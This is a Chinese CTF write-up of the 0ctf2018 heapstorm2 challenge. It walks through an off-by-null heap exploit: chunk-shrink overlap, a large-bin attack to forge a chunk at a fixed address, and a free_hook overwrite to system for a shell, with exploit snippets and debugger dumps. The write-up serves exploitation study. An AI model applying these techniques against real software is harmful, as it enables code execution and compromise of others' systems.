0ctf2018 heapstorm2详解

题目链接

https://github.com/eternalsakura/ctf_pwn/tree/master/0ctf2018/heapstorm2

前置知识

  • mallopt int mallopt(int param,int value) param的取值分别为MMXFAST,value是以字节为单位。 MMXFAST:定义使用fastbins的内存请求大小的上限,小于该阈值的小块内存请求将不会使用fastbins获得内存,其缺省值为64。下面我们来将M_MXFAST设置为0,禁止使用fastbins 源码: https://code.woboq.org/userspace/glibc/malloc/malloc.h.html
102   #ifndef M_MXFAST
103    # define M_MXFAST  1    /* maximum request size for "fastbins" */
104    #endif


5137    int __libc_mallopt (int param_number, int value)
5138    {
5139      mstate av = &main_arena;
5140      int res = 1;
5141    
5142      if (__malloc_initialized < 0)
5143        ptmalloc_init ();
5144      __libc_lock_lock (av->mutex);
5145    
5146      LIBC_PROBE (memory_mallopt, 2, param_number, value);
5147    
5148      /* We must consolidate main arena before changing max_fast
5149         (see definition of set_max_fast).  */
5150      malloc_consolidate (av);
5151    
5152      switch (param_number)
5153        {
5154        case M_MXFAST:
5155          if (value >= 0 && value <= MAX_FAST_SIZE)
5156            {
5157              LIBC_PROBE (memory_mallopt_mxfast, 2, value, get_max_fast ());
5158              set_max_fast (value);
5159            }
5160          else
5161            res = 0;
5162          break;
5163    
5164        case M_TRIM_THRESHOLD:
5165          do_set_trim_threshold (value);
5166          break;
5167    
5168        case M_TOP_PAD:
5169          do_set_top_pad (value);
5170          break;
5171    
5172        case M_MMAP_THRESHOLD:
5173          res = do_set_mmap_threshold (value);
5174          break;
5175    
5176        case M_MMAP_MAX:
5177          do_set_mmaps_max (value);
5178          break;
5179    
5180        case M_CHECK_ACTION:
5181          do_set_mallopt_check (value);
5182          break;
5183    
5184        case M_PERTURB:
5185          do_set_perturb_byte (value);
5186          break;
5187    
5188        case M_ARENA_TEST:
5189          if (value > 0)
5190            do_set_arena_test (value);
5191          break;
5192    
5193        case M_ARENA_MAX:
5194          if (value > 0)
5195            do_set_arena_max (value);
5196          break;
5197        }
5198      __libc_lock_unlock (av->mutex);
5199      return res;
5200    }
  • 利用linux的/dev/urandom文件产生较好的随机数 https://blog.csdn.net/stpeace/article/details/45829161
int randNum = 0;  
int fd = open("/dev/urandom", O_RDONLY);  
if(-1 == fd)  
{  
        printf("error\n");  
        return 1;  
}  

read(fd, (char *)&randNum, sizeof(int));  
close(fd);
  • overlap

分析

checksec

parallels@ubuntu:~/ctf/0ctf2018/heapstorm2$ checksec heapstorm2
[*] '/home/parallels/ctf/0ctf2018/heapstorm2/heapstorm2'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

程序分析

关闭fastbin的分配

对存放堆指针和size的地方进行随机化

读入随机数前

pwndbg> b *555555554000+0x0000000000000CA6
Breakpoint 1 at 0x8159b10f76
pwndbg> r
Starting program: /home/parallels/ctf/0ctf2018/heapstorm2/heapstorm2 
...
...
Breakpoint *0x555555554000+0x0000000000000CA6
pwndbg> x /50gx 0x13370800
0x13370800:    0x0000000000000000  0x0000000000000000
0x13370810:    0x0000000000000000  0x0000000000000000
0x13370820:    0x0000000000000000  0x0000000000000000
0x13370830:    0x0000000000000000  0x0000000000000000
0x13370840:    0x0000000000000000  0x0000000000000000
0x13370850:    0x0000000000000000  0x0000000000000000
0x13370860:    0x0000000000000000  0x0000000000000000
0x13370870:    0x0000000000000000  0x0000000000000000
0x13370880:    0x0000000000000000  0x0000000000000000
0x13370890:    0x0000000000000000  0x0000000000000000
0x133708a0:    0x0000000000000000  0x0000000000000000
0x133708b0:    0x0000000000000000  0x0000000000000000
0x133708c0:    0x0000000000000000  0x0000000000000000
0x133708d0:    0x0000000000000000  0x0000000000000000
0x133708e0:    0x0000000000000000  0x0000000000000000
0x133708f0:    0x0000000000000000  0x0000000000000000
0x13370900:    0x0000000000000000  0x0000000000000000
0x13370910:    0x0000000000000000  0x0000000000000000
0x13370920:    0x0000000000000000  0x0000000000000000
0x13370930:    0x0000000000000000  0x0000000000000000
0x13370940:    0x0000000000000000  0x0000000000000000
0x13370950:    0x0000000000000000  0x0000000000000000
0x13370960:    0x0000000000000000  0x0000000000000000
0x13370970:    0x0000000000000000  0x0000000000000000
0x13370980:    0x0000000000000000  0x0000000000000000

读入随机数后

pwndbg> x /50gx 0x13370800
0x13370800:    0x72cec7f9b44fb49e  0x438137bc554b405e
0x13370810:    0x7a4f542a3248dba2  0x0000000000000000
0x13370820:    0x0000000000000000  0x0000000000000000
0x13370830:    0x0000000000000000  0x0000000000000000
0x13370840:    0x0000000000000000  0x0000000000000000
0x13370850:    0x0000000000000000  0x0000000000000000

用如图上数字1处的随机数去覆盖后面的16个的每一行的左八个字节(堆指针)。用如图上数字2处的随机数去覆盖后面的16个的每一行的右八个字节(size)。

用图上数字3处的随机数去覆盖数字4处。

主函数

添加

更新

有off by null漏洞

删除

显示

漏洞分析

在update的时候有一个off by null。

其他

之前做堆的题都不建结构体,全靠脑补…这次建一下,让反编译出来的好看一点。

1.添加segment

2.建结构体

3.改函数参数

4.最后的修改结果

利用

shrink the chunk来overlap

前提:存在一个off-by-null漏洞(已满足) 目的:创造出overlap chunk,进而更改其他chunk中的内容 主要利用unsorted,small bin会unlink合并的特性来达到我们的目的。

1.伪造prev_size

alloc(0x18)     #0
alloc(0x508)    #1
alloc(0x18)     #2
update(1, 'h'*0x4f0 + p64(0x500))   #set fake prev_size

alloc(0x18)     #3
alloc(0x508)    #4
alloc(0x18)     #5
update(4, 'h'*0x4f0 + p64(0x500))   #set fake prev_size
alloc(0x18)     #6

2.free 1,于是下一个chunk的inuse和prev_size将被设置。

图示灰色的地方代表被free掉,然后触发off by null,修改1的size。

free(1)
update(0, 'h'*(0x18-12))    #off-by-one

3.将free的1再分配出来,然后再分配一块空间到原来的1中,注意大小不能刚好使得这个chunk和2相邻,否则会把2的inuse位置1,不能在后续触发unlink。

然后再free 2,就能触发unlink,然后1和7,overlap

alloc(0x18)     #1
alloc(0x4d8)    #7
free(1)
free(2)         #backward consolidate
pwndbg> x /500gx 0x55f082807020
0x55f082807020:    0x49495f4d524f5453  0x0000000000000021
0x55f082807030:    0x00007f685fb20b78  0x00007f685fb20b78
0x55f082807040:    0x0000000000000020  0x00000000000004e0-->7
0x55f082807050:    0x0000000000000000  0x0000000000000000
0x55f082807060:    0x0000000000000000  0x0000000000000000
0x55f082807070:    0x0000000000000000  0x0000000000000000
0x55f082807080:    0x0000000000000000  0x0000000000000000
0x55f082807090:    0x0000000000000000  0x0000000000000000
0x55f0828070a0:    0x0000000000000000  0x0000000000000000
0x55f0828070b0:    0x0000000000000000  0x0000000000000000
0x55f0828070c0:    0x0000000000000000  0x0000000000000000
0x55f0828070d0:    0x0000000000000000  0x0000000000000000
0x55f0828070e0:    0x0000000000000000  0x0000000000000000
0x55f0828070f0:    0x0000000000000000  0x0000000000000000
0x55f082807100:    0x0000000000000000  0x0000000000000000
0x55f082807110:    0x0000000000000000  0x0000000000000000
0x55f082807120:    0x0000000000000000  0x0000000000000000
0x55f082807130:    0x0000000000000000  0x0000000000000000
0x55f082807140:    0x0000000000000000  0x0000000000000000
0x55f082807150:    0x0000000000000000  0x0000000000000000
0x55f082807160:    0x0000000000000000  0x0000000000000000
0x55f082807170:    0x0000000000000000  0x0000000000000000
0x55f082807180:    0x0000000000000000  0x0000000000000000
0x55f082807190:    0x0000000000000000  0x0000000000000000
0x55f0828071a0:    0x0000000000000000  0x0000000000000000
0x55f0828071b0:    0x0000000000000000  0x0000000000000000
0x55f0828071c0:    0x0000000000000000  0x0000000000000000
0x55f0828071d0:    0x0000000000000000  0x0000000000000000
0x55f0828071e0:    0x0000000000000000  0x0000000000000000
0x55f0828071f0:    0x0000000000000000  0x0000000000000000
0x55f082807200:    0x0000000000000000  0x0000000000000000
0x55f082807210:    0x0000000000000000  0x0000000000000000
0x55f082807220:    0x0000000000000000  0x0000000000000000
0x55f082807230:    0x0000000000000000  0x0000000000000000
0x55f082807240:    0x0000000000000000  0x0000000000000000
0x55f082807250:    0x0000000000000000  0x0000000000000000
0x55f082807260:    0x0000000000000000  0x0000000000000000
0x55f082807270:    0x0000000000000000  0x0000000000000000
0x55f082807280:    0x0000000000000000  0x0000000000000000
0x55f082807290:    0x0000000000000000  0x0000000000000000
0x55f0828072a0:    0x0000000000000000  0x0000000000000000
0x55f0828072b0:    0x0000000000000000  0x0000000000000000
0x55f0828072c0:    0x0000000000000000  0x0000000000000000
0x55f0828072d0:    0x0000000000000000  0x0000000000000000
0x55f0828072e0:    0x0000000000000000  0x0000000000000000
0x55f0828072f0:    0x0000000000000000  0x0000000000000000
0x55f082807300:    0x0000000000000000  0x0000000000000000
0x55f082807310:    0x0000000000000000  0x0000000000000000
0x55f082807320:    0x0000000000000000  0x0000000000000000
0x55f082807330:    0x0000000000000000  0x0000000000000000
0x55f082807340:    0x0000000000000000  0x0000000000000000
0x55f082807350:    0x0000000000000000  0x0000000000000000
0x55f082807360:    0x0000000000000000  0x0000000000000000
0x55f082807370:    0x0000000000000000  0x0000000000000000
0x55f082807380:    0x0000000000000000  0x0000000000000000
0x55f082807390:    0x0000000000000000  0x0000000000000000
0x55f0828073a0:    0x0000000000000000  0x0000000000000000
0x55f0828073b0:    0x0000000000000000  0x0000000000000000
0x55f0828073c0:    0x0000000000000000  0x0000000000000000
0x55f0828073d0:    0x0000000000000000  0x0000000000000000
0x55f0828073e0:    0x0000000000000000  0x0000000000000000
0x55f0828073f0:    0x0000000000000000  0x0000000000000000
0x55f082807400:    0x0000000000000000  0x0000000000000000
0x55f082807410:    0x0000000000000000  0x0000000000000000
0x55f082807420:    0x0000000000000000  0x0000000000000000
0x55f082807430:    0x0000000000000000  0x0000000000000000
0x55f082807440:    0x0000000000000000  0x0000000000000000
0x55f082807450:    0x0000000000000000  0x0000000000000000
0x55f082807460:    0x0000000000000000  0x0000000000000000
0x55f082807470:    0x0000000000000000  0x0000000000000000
0x55f082807480:    0x0000000000000000  0x0000000000000000
0x55f082807490:    0x0000000000000000  0x0000000000000000
0x55f0828074a0:    0x0000000000000000  0x0000000000000000
0x55f0828074b0:    0x0000000000000000  0x0000000000000000
0x55f0828074c0:    0x0000000000000000  0x0000000000000000
0x55f0828074d0:    0x0000000000000000  0x0000000000000000
0x55f0828074e0:    0x0000000000000000  0x0000000000000000
0x55f0828074f0:    0x0000000000000000  0x0000000000000000
0x55f082807500:    0x0000000000000000  0x0000000000000000
0x55f082807510:    0x0000000000000000  0x0000000000000000
0x55f082807520:    0x0000000000000000  0x524f545350414549
0x55f082807530:    0x0000000000000510  0x0000000000000020

当free 2的时候,因为2是small bin的大小的缘故,所以会检测上一个chunk是否inused.

它会根据prev_size找到1,然后做unlink。

此时,unsortbin存放着这块大的chunk,所以下次malloc会用这一块先分配。

pwndbg> unsortedbin 
unsortedbin
all: 0x555555757020 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x555555757020 /* ' puUUU' */
pwndbg> x /20gx 0x555555757020
0x555555757020:    0x49495f4d524f5453  0x0000000000000531
0x555555757030:    0x00007ffff7dd1b78  0x00007ffff7dd1b78
0x555555757040:    0x0000000000000000  0x0000000000000000
0x555555757050:    0x0000000000000000  0x0000000000000000
0x555555757060:    0x0000000000000000  0x0000000000000000
0x555555757070:    0x0000000000000000  0x0000000000000000
0x555555757080:    0x0000000000000000  0x0000000000000000
0x555555757090:    0x0000000000000000  0x0000000000000000
0x5555557570a0:    0x0000000000000000  0x0000000000000000
0x5555557570b0:    0x0000000000000000  0x0000000000000000

可以看出通过chunk shrink,实现了overlap。

alloc(0x38)     #1
alloc(0x4e8)    #2
0x555555757020 FASTBIN {
  prev_size = 5280856823766668371, 
  size = 65, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x555555757060 PREV_INUSE {
  prev_size = 0, 
  size = 1265, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
...
...
pwndbg> x /100gx 0x555555757020
0x555555757020:    0x49495f4d524f5453  0x0000000000000041-->1
0x555555757030:    0x0000000000000000  0x0000000000000000
0x555555757040:    0x0000000000000000  0x0000000000000000-->7
0x555555757050:    0x0000000000000000  0x0000000000000000
0x555555757060:    0x0000000000000000  0x00000000000004f1-->2
0x555555757070:    0x0000000000000000  0x0000000000000000
0x555555757080:    0x0000000000000000  0x0000000000000000
0x555555757090:    0x0000000000000000  0x0000000000000000
0x5555557570a0:    0x0000000000000000  0x0000000000000000
0x5555557570b0:    0x0000000000000000  0x0000000000000000
0x5555557570c0:    0x0000000000000000  0x0000000000000000

重复一遍之前的过程,再次构造overlap

free(4)
update(3, 'h'*(0x18-12))    #off-by-one
alloc(0x18)     #4
alloc(0x4d8)    #8
free(4)
free(5)         #backward consolidate
alloc(0x48)     #4

然后4和8交叠。

pwndbg> x /50gx 0x555555757570
0x555555757570:    0x49495f4d524f5453  0x0000000000000021
0x555555757580:    0x0000000000000000  0x0000000000000000
0x555555757590:    0x0000000000000000  0x00000000000004e1-->8
0x5555557575a0:    0x0000000000000000  0x0000000000000000
0x5555557575b0:    0x0000000000000000  0x0000000000000000
....
....
....
unlink之后
....
....
....
pwndbg> x /50gx 0x555555757570
0x555555757570:    0x49495f4d524f5453  0x0000000000000051-->4
0x555555757580:    0x0000000000000000  0x0000000000000000
0x555555757590:    0x0000000000000000  0x0000000000000000-->8
0x5555557575a0:    0x0000000000000000  0x0000000000000000
0x5555557575b0:    0x0000000000000000  0x0000000000000000
0x5555557575c0:    0x0000000000000000  0x00000000000004e1
0x5555557575d0:    0x00007ffff7dd1b78  0x00007ffff7dd1b78
0x5555557575e0:    0x0000000000000000  0x0000000000000000
0x5555557575f0:    0x0000000000000000  0x0000000000000000
0x555555757600:    0x0000000000000000  0x0000000000000000
0x555555757610:    0x0000000000000000  0x0000000000000000

利用unsorted bin中的chunk插入到large bin写数据,绕过对unsortbin中chunk的size大小的检查

free(2)
alloc(0x4e8)    #2
free(2)


storage = 0x13370000 + 0x800
fake_chunk = storage - 0x20


p1 = p64(0)*2 + p64(0) + p64(0x4f1) #size
p1 += p64(0) + p64(fake_chunk)      #bk
update(7, p1)


p2 = p64(0)*4 + p64(0) + p64(0x4e1) #size
p2 += p64(0) + p64(fake_chunk+8)    #bk, for creating the "bk" of the faked chunk to avoid crashing when unlinking from unsorted bin
p2 += p64(0) + p64(fake_chunk-0x18-5)   #bk_nextsize, for creating the "size" of the faked chunk, using misalignment tricks
update(8, p2)

free 2前

pwndbg> unsortedbin 
unsortedbin
all: 0x5555557575c0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x5555557575c0

free 2后

pwndbg> unsortedbin 
unsortedbin
all: 0x555555757060 —▸ 0x5555557575c0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x555555757060 /* '`puUUU' */

将2再分配出来,这时0x5555557575c0掉链,进入large bins中,再free 2,0x555555757060再次进入unsortedbin。

pwndbg> unsortedbin 
unsortedbin
all: 0x555555757060 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x555555757060 /* '`puUUU' */
pwndbg> largebins 
largebins
0x400: 0x7ffff7dd1f68 (main_arena+1096) ◂— 0x7ffff7dd1f68
0x440: 0x7ffff7dd1f78 (main_arena+1112) ◂— 0x7ffff7dd1f78
0x480: 0x7ffff7dd1f88 (main_arena+1128) ◂— 0x7ffff7dd1f88
0x4c0: 0x5555557575c0 —▸ 0x7ffff7dd1f98 (main_arena+1144) ◂— 0x5555557575c0

然后要fake 0x555555757060的后向指针。

storage = 0x13370000 + 0x800
fake_chunk = storage - 0x20

p1 = p64(0)*2 + p64(0) + p64(0x4f1) #size
p1 += p64(0) + p64(fake_chunk)      #bk
update(7, p1)

fake前

pwndbg> x /20gx 0x555555757020
0x555555757020:    0x49495f4d524f5453  0x0000000000000041
0x555555757030:    0x0000000000000000  0x0000000000000000
0x555555757040:    0x0000000000000000  0x0000000000000000
0x555555757050:    0x0000000000000000  0x0000000000000000
0x555555757060:    0x0000000000000000  0x00000000000004f1
0x555555757070:    0x00007ffff7dd1b78  0x00007ffff7dd1b78
0x555555757080:    0x0000000000000000  0x0000000000000000
0x555555757090:    0x0000000000000000  0x0000000000000000

fake后

pwndbg> x /20gx 0x555555757020
0x555555757020:    0x49495f4d524f5453  0x0000000000000041
0x555555757030:    0x0000000000000000  0x0000000000000000
0x555555757040:    0x0000000000000000  0x0000000000000000
0x555555757050:    0x0000000000000000  0x0000000000000000
0x555555757060:    0x0000000000000000  0x00000000000004f1
0x555555757070:    0x0000000000000000  0x00000000133707e0
0x555555757080:    0x524f545350414548  0x0000000049495f4d
0x555555757090:    0x0000000000000000  0x0000000000000000
0x5555557570a0:    0x0000000000000000  0x0000000000000000

可以看出bk指针被改写。

然后fake

p2 = p64(0)*4 + p64(0) + p64(0x4e1) # size
p2 += p64(0) + p64(fake_chunk+8)    # bk, for creating the "bk" of the faked chunk to avoid crashing when unlinking from unsorted bin
p2 += p64(0) + p64(fake_chunk-0x18-5)   # bk_nextsize, for creating the "size" of the faked chunk, using misalignment tricks
update(8, p2)

fake前

wndbg> x/20gx 0x555555757590
0x555555757590:    0x0000000000000000  0x0000000000000000
0x5555557575a0:    0x0000000000000000  0x0000000000000000
0x5555557575b0:    0x0000000000000000  0x0000000000000000
0x5555557575c0:    0x0000000000000000  0x00000000000004e1
0x5555557575d0:    0x00007ffff7dd1f98  0x00007ffff7dd1f98
0x5555557575e0:    0x00005555557575c0  0x00005555557575c0
0x5555557575f0:    0x0000000000000000  0x0000000000000000
0x555555757600:    0x0000000000000000  0x0000000000000000
0x555555757610:    0x0000000000000000  0x0000000000000000

fake后

pwndbg> x/20gx 0x555555757590
0x555555757590:    0x0000000000000000  0x0000000000000000
0x5555557575a0:    0x0000000000000000  0x0000000000000000
0x5555557575b0:    0x0000000000000000  0x0000000000000000
0x5555557575c0:    0x0000000000000000  0x00000000000004e1
0x5555557575d0:    0x0000000000000000  0x00000000133707e8
0x5555557575e0:    0x0000000000000000  0x00000000133707c3
0x5555557575f0:    0x524f545350414548  0x0000000049495f4d
0x555555757600:    0x0000000000000000  0x0000000000000000
0x555555757610:    0x0000000000000000  0x0000000000000000
0x555555757620:    0x0000000000000000  0x0000000000000000
try:
    # if the heap address starts with "0x56", you win
    alloc(0x48)     #2
except EOFError:
    # otherwise crash and try again
    r.close()
    continue

当再分配一个chunk的时候,会先检查unsorted bin中有没有合适的,如果没有就把unsortbin中的chunk插入large bin中。

看源码:

else
{
  victim_index = largebin_index (size);
  bck = bin_at (av, victim_index);
  fwd = bck->fd;
  ....
  ....
  ....
  // 如果size<large bin中最后一个chunk即最小的chunk,就直接插到最后
      if ((unsigned long) (size)
          < (unsigned long) chunksize_nomask (bck->bk))
        {
          fwd = bck;
          bck = bck->bk;
          victim->fd_nextsize = fwd->fd;
          victim->bk_nextsize = fwd->fd->bk_nextsize;
          fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
        }
      else
        {
          assert (chunk_main_arena (fwd));
    // 否则正向遍历,fwd起初是large bin第一个chunk,也就是最大的chunk。
  // 直到满足size>=large bin chunk size
          while ((unsigned long) size < chunksize_nomask (fwd))
            {
              fwd = fwd->fd_nextsize;//fd_nextsize指向比当前chunk小的下一个chunk
              assert (chunk_main_arena (fwd));
            }
          if ((unsigned long) size
              == (unsigned long) chunksize_nomask (fwd))
            /* Always insert in the second position.  */
            fwd = fwd->fd;
          else
      // 插入
            {
              victim->fd_nextsize = fwd;
              victim->bk_nextsize = fwd->bk_nextsize;
              fwd->bk_nextsize = victim;
              victim->bk_nextsize->fd_nextsize = victim;
            }
          bck = fwd->bk;
        }
    }
  else
    victim->fd_nextsize = victim->bk_nextsize = victim;
}
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

当找到插入的位置后,看源码里具体的插入操作。

注意large bin要维持两个双向链表,多了一个chunk size链表,所以要在两个链表中插入。

victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
....
....
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

在此题中,fwd只可能是我们放入large bin的唯一一个chunk,而它的bk_nextsize和bk都是我们可以控制的(如上一步的改写)

victim->bk_nextsize = fwd->bk_nextsize;
victim->bk_nextsize->fd_nextsize = victim;

---->fwd->bk_nextsize->fd_nextsize=victim

victim就是我们要插入的堆地址。

bk_nextsize被写为0x13370800-0x20-0x18-5,那么*(0x13370800-0x20-0x18-5+0x20)=victim

fwd->bk=victim;

bk被写为0x13370800-0x20+8,那么*(0x13370800 -0x20+8 ) = victim。

当第一个chunk从unsorted bin插入到large bin之后,再到unsorted bin的下一个chunk,如果不满足分配则插入到large bin中。 而下一个chunk是我们伪造的(0x13370800-0x20)

而这个地方已经有值了,也就是我们写入的 (0x13370800-0x20-0x18-5+0x20)=0x133707e3=victim

pwndbg> x/gx 0x133707e3
0x133707e3:    0x000056213c4c8060

chunk的size,即0x13370800-0x20+0x8=0x133707e8,就是\x55或者\x56。

# if the heap address starts with "0x56", you win
    alloc(0x48)     #2

之所以要求是\x56,因为需要满足一个检查。

assert (!mem || chunk_is_mmapped (mem2chunk (mem)) ||
          av == arena_for_chunk (mem2chunk (mem)));

即chunk的mmap标志位置位。

之前我调试的时候都是打开的ASLR,现在关掉看一下,多运行几次总能有一次成功的。

去掉标志位,那么它的大小就是0x50,就满足alloc(0x48),就会返回给我们,成功返回0x13370800-0x10之后,就是传统的做法了。

leak heap,leak libc,覆盖free_book值为system

getshell

exp文件地址:

https://github.com/eternalsakura/ctf_pwn/blob/master/0ctf2018/heapstorm2/heapstorm2.py

参考资料

https://gist.github.com/Jackyxty/9de01a0bdfe5fb6d0b40fe066f059fa3

https://github.com/willinin/0ctf2018/blob/master/heapstorm2/heapstorm2.md

原文发布于微信公众号 - ChaMd5安全团队(chamd5sec)

原文发表时间:2018-04-11

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏JavaEdge

Document.cookie

1544
来自专栏北京马哥教育

Linux Bash脚本15分钟进阶教程

作者:Linux学习 ID:LoveLinux1024 这里的技术技巧最初是来自谷歌的“Testing on the Toilet” (TOTT)。这里是一个...

3706
来自专栏信安之路

ret2resolve学习笔记

一是做个总结,二是做个备份。上篇文章感谢@大米指出的错误,格式化字符串漏洞还未销声匿迹!!!

1070
来自专栏潇涧技术专栏

Builtin Lint Detectors (1)

本文主要介绍的是Lint工具中自带的与Android开发相关的lint检查项,通过查看lint检查项的描述及其代码实现,我发现这里面存在不少应用开发编码的Bes...

741
来自专栏生信宝典

Linux学习-文件排序和FASTA文件操作

环境变量的补充 PATH只是众多环境变量中的一个变量,用于存储可执行文件所在的目录,以便在用户输入命令时可以查询的到。尤其是自己写的脚本或安装的程序,系统不会知...

25910
来自专栏hotqin888的专栏

用golang递归构建无限级树状目录json数据和数据库

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/hotqin888/article/det...

3072
来自专栏hotqin888的专栏

tealeg/xlsx遇到读取空表格错误

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/hotqin888/article/det...

1692
来自专栏Golang语言社区

Golang语言 之网络

Go语言标准库里提供的net包,支持基于IP层、TCP/UDP层及更高层面(如HTTP、FTP、SMTP)的网络操作,其中用于IP层的称为Raw Socket。...

3629
来自专栏Python研发

Django之Model世界

django为使用一种新的方式,即:关系对象映射(Object Relational Mapping,简称ORM)

1242
来自专栏我有一个梦想

QT Creator 快速入门教程 读书笔记(三)

一   信号和槽   GUI 程序除了要绘制控件,还要响应系统和用户事件,例如重绘、绘制完成、点击鼠标、敲击键盘等。当事件发生时,UI 会产生相应的变化,让用户...

2708

扫码关注云+社区

领取腾讯云代金券